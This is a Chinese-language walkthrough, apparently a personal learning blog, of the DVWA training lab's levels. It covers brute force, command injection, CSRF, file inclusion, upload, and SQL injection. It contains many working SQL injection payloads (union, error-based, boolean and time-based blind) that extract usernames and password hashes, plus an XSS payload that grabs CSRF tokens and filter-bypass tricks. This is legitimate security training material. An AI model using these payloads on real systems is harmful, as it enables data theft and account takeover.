以下是本人根据网上的各种资料加上自己的感悟整合而来的靶场的通关心得,以后会出一篇布置DVWA靶场环境的文章,以此来记录自己学习的过程,欢迎各位大佬指导改正。
Brute Force
low
这一关直接可以用burpsuite的抓包爆破直接通过,根据下面图示,我们可以知道他的用户名是admin这里不过多赘述,然后只进行了密码爆破,至于其它的是burp的基础操作,小伙伴们可以自己去了解一下
你可以自己添加,也可以通过文件加载,然后进行爆破
我们可以看到这个长度值不一样,所以他就是成功的标志
我们把密码输入就会变成
medium
和low相比,过滤了一些转义字符,但依旧可以使用上述爆破方法同low
high
首先随便输入账户密码,进行burp抓包
进行设置payload
然后进入设置,提取token
然后回到payload,选择第二个爆破点,选择递归模式,recursive grep(递归提取),设置初始值
发现密码是password,输入通过。
impossible
在 high 的基础上对用户的登录次数限制,当用户登录失败达到3次,将会锁住账号15秒,采用PDO(PHP Data Object)机制防御,不能使用PDO扩展本身执行任何数据库操作
Command Injection
命令注入是一种网络安全攻击方法,攻击者通过在应用程序中注入恶意命令来执行非授权操作。这种攻击通常发生在允许用户输入数据的应用程序中,例如网页表单或URL参数。攻击者可以利用这些输入字段将恶意命令注入到应用程序中,然后执行这些命令以获取敏感信息、破坏系统或实施其他恶意行为。
low
我们看这个源码就可以发现直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤。
可以输入IP+&& 命令也可以用||
medium
通过分析源码,我们可以发现,他禁用了‘&&’ ,‘;’这两个符号,那么我们可以用别的例如,“&”
high
这个难度我们查看源码发现,只是黑名单增多了 但是不要慌,如果你仔细看,会发现有些地方有空格
哎嘿,这不就出来了。
impossible
到了这个级别,就是告诉我们如何防御这些漏洞
哇偶,还设置了token 限制了IP格式,这就是防御方法
CSRF
CSRF的全名是Cross Site Request Forgery,翻译成中文就是跨站点请求伪造。它是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击方式,甚至很多安全工程师都不太理解它的利用条件与危害,因此不予重视。但CSRF在某些时候却能够产生强大的破坏性。
low
这个模式直接输入密码就可以修改
然后我们可以可以在地址栏里面进行修改,发现也成功了(记住在同一个浏览器里面,因为这样cookie不会失效,CSRF本来就是一个窃取cookie的手段)黑客就是这么来攻击的,趁cookie还有效时就进行修改密码。
根据这个源码我们可以看到,服务器只是简单的把两者进行了比对,没有做深一步的防御
medium
这一关, 我们先来查看源码,
上述代码的意思是说去 Referer字段 里面查找是否存在ServerName(即主机IP或域名)字段的值,如果存在则满足条件。那么,为了构造一个有效的Referer,可以在攻击服务器上创建一个新的HTML页面.我们可以先随便输入密码修改,直接修改成功
然后我们把这个页面链接用一个新的页面打开,会出现下面这种情况 The request didn't look correct,请求看起来不对,那我们怎么修改呢,利用burp抓包, 把第一次正确的Referer,赋予
这样就修改成功了
high
通过源码分析我们发现,High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。 所以如果我们想更改密码,一定要获取对应的token值,对于这个靶场我们可以利用xss同级别的漏洞获取token,与xss(储存型)相结合,我们需要进行burp抓包来获取token值
然后我们进行burp抓包更改,把这个值换成下面代码
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
然后放行和关闭拦截就会出现user_token的值了
然后我们进行修改密码,把token值加到后面再进行修改,就可以修改成功了
impossible
这个级别无法进行攻击,任何攻击都是无效的
File Inclusion
什么是文件包含漏洞?
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
low
这个级别我们先看源码进行分析
这个和一句话木马的原理一模一样,我们直接在地址栏输入地址加上文件就可以成功了如果你是本地文件直接输入http:/127.0.0.1/{文件名}就可以了,我这里是虚拟机。
medium
我们接下来看这个级别的源码,将”http:// ”、”https://”、 "../", "..\""
替换为空字符,但是他以为这样我就没有办法了吗,嘿嘿,我们直接双写搞定它。我们看,直接就是通关
high
这个级别我们还是和之前一样,查看源码,可以发现这个运用了fnmatch函数进行匹配,如果没有file开头那么是不通过的,这个简单我们可以利用file协议直接输入文件地址,完成!
impossible
这个级别毫无破绽
File Upload
low
这一关,直接查看源码,我们可以直接上传文件
medium
作者比较懒,以前在文件漏洞靶场做完了,那么这一关就是抓包修改文件名然后进行上传,查看结果是不是 sucecessfully 就可以了
high
而这一关呢,需要上一关的通关方式,但是我们需要制作一个图片木马进行上传
impossible
这一关无懈可击
SQL injection
low
首先写入 1
然后输入 1' 报错 判断为字符型注入
然后可以试试 1' and 1=1 万能公式
如上图所示,我们可以看出 ' 没有闭合出现错误,所以我们接下来可以尝试 1' and 1=1 # 也可以用 1' or 1=1 --+查全部
为什么1' or 1=1# 可以查到全部数据呢?
因为在SQL语句中,#或--符号表示注释,可以将其后的内容视为注释而不执行。而1=1永远为真,所以当输入1' or 1=1 #时,实际上是在查询条件中加入了一个永远为真的条件,从而绕过了原本的查询条件,导致可以查出全部数据。这是一种常见的SQL注入攻击手法。为了防止SQL注入攻击,应该对用户输入的数据进行严格的过滤和验证。
接下来我们就需要找出注入点以及符号问题,然后进行判断,用户正常查询时可以显示几条用户信息。
使用 1' order by 1# 1' order by 2# 1' order by 3#等等一个一个去试
所以2为分界点,然后我们就可以用union联合查询
1' union select 1,2 #
接下来就是获取数据库名,版本号,用户
1' union select database(),version() #
1' union select database(),user() #
根据上面获取的信息,我们就可以进一步的查询数据库中的表信息,以及字段信息
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #
为什么用-1,是为了让前面报错,只显示后面的内容
接下来我们获取 users表中的字段名
-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name = 'users' #
接下来就可以查询这些字段名
-1' union select group_concat(user_id,first_name),group_concat(user,password) from users#
这里密码有一个MD5加密 是admin后面的 5f4dcc3b5aa765d61d8327deb882cf99 我们可以找一个MD5解密网址去解密。 推荐一个网址 md5解密 MD5在线解密 破解md5 (pmd5.com)
查询结果:password
一个简单的SQL手工注入就完成了
medium
接下来我们修改关卡,增加难度
如果我们打开出现错误,不要怕,只是PHP版本的错误,修改PHP版本就好了,下面是正确界面
我们看到这一关不知道如何下手,这时候我们就需要一款工具,burpsuite,进行抓包
而且这一关的源代码,用了一个函数把 ' ," 都给转义了,我们需要16进制来进行解决
点击操作发送到repeater模块
然后点击重放器,就是Repeater,然后按下面步骤来
然后输入 1 or 1=1 # 查找全部数据
然后用 -1 and 1=1 order by 3 # -1 and 1=1 order by 2# 注入,发现只有2个
然后我们就可以用联合查询 union 2个字段,先爆破数据库名
1 and 1=2 union select 1,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x#
两个数据库 dvwa0 dvwa1,接下来我们爆破表的数量
1 and 1=2 union select 1,concat((select count(table_name) from information_schema.tables where table_schema = database()),floor(rand(0)*2))x from information_schema.tables group by x #
接下来我们爆破表的名字
1 and 1=2 union select 1, concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x#
然后就是爆破字段值
1 and 1=2 union select 1, concat((select group_concat(user_id,user,password) from users),floor(rand(0)*2))x from information_schema.tables group by x #
然后就是解密
high
这一关和low是一样的,只不过是添加了LIMIT 1,限制只能输入一条,不过可以用#注释掉
impossible
设置了token,检查输入是否为数字,无漏洞
SQL injection(blind)
low
盲注的特点就是猜数据库长度,然后根据ASCII吗猜测数据库名,
输入1' and length(database())=1# 显示 MISSING 说明数据库长度不为1
输入1'and length(database())=4# 显示 exists 说明数据库长度为4
这时候我们就可以发现这个数据库长度是4,然后我们开始猜测数据库名
1' and ascii(substr(database(),1,1))>97#
说明数据库第一个字母Ascii值大于97
接下来我们用另外一个 100为分界值
1' and ascii(substr(database(),1,1))>100#,出现MISSING说明小于100,再继续测试是否等于100,99,98
输入=100后发现正确,说明第一个字母是d
我们第二个字母就可以继续猜测
1’ and ascii(substr(database(),2,1))>97#,方法以此类推,最终得出数据库名为dvwa
接下来猜测表的数量
猜表的数量:
1' and(select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
显示exists,说明dvwa库中有2个表,count()函数用于计数
以下我只基于dvwa环境输入正确的数值,在真实注入时一定要去猜
猜表的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
显示exists说明第一个表的长度为9
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#,
显示exists说明第二个表的长度为5,limit 用于限制查询结果返回的数量
猜表名:
1' and ascii(substr((select table_name from
information_schema.tables where table_schema='dvwa'
limit 0,1),1))=103#,显示exists说明第一个字母为g
猜出第一表名为guestbook,第二个表名为users 注入的目的就是拿到用户名和密码,只猜users表中的数据
猜列的长度:
输入1'and length(substr((select column_name from
information_schema.columns where table_name='users'
limit 0,1),1))=7#,显示exists,说明第一个列的长度为7
第一个列的长度为7,真实注入时,需要一个一个去猜,基于dvwa,目的是user、password列,所以下面只猜user、password列,它两分别处于第4列和第5列
猜列名:
输入1' and ascii(substr((select column_name from
information_schema.columns where table_name='users'
limit 3,1),1))=117#,显示exists,说明第四列的第一个字母为u
第二个字母:
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=115#
猜解数据:
输入1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#,显示exists说明第一个字母为a
第二个字母:d
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100#
依次猜出users表中user列的数据为admin 密码在password列中
时间盲注
输入1' and sleep(5)#,有延迟,说明是字符型
猜数据库长度:
输入1' and if(length(database())=4,sleep(5),1)#,有延迟说明数据库长度为4
猜数据库名:
输入1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#,有延迟说明第一个字母为d //dvwa
猜表的数量:
输入1' and if((select count(table_name)from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#,有延迟,说明有2个表
猜表的长度:
输入1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#,第一个表长度为9
猜表名:
输入1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#,延迟说明第一个字母为g
//guestbook users
猜表中列的数量:
1' and if((select count(column_name)from information_schema.columns where table_name='users')=15,sleep(5),1)# //users有15列
猜列的长度:
输入1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)# //有延迟,第一列长度为7
猜解列名:
输入1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=117,sleep(5),1)# //有延迟,第四个表第一个字母u
猜解数据:
输入1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin
依此类推
medium
查看这一关的源码,我们发现它利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义
然后打开burpsuite,进行上面的重复操作
high
这一关用到了limit我们可以用#注释掉,我上面有提到过的,大家不懂上去翻一下SQL注入的high
然后参照low级别进行注入
impossible
只能使用数字,且设置了token,无漏洞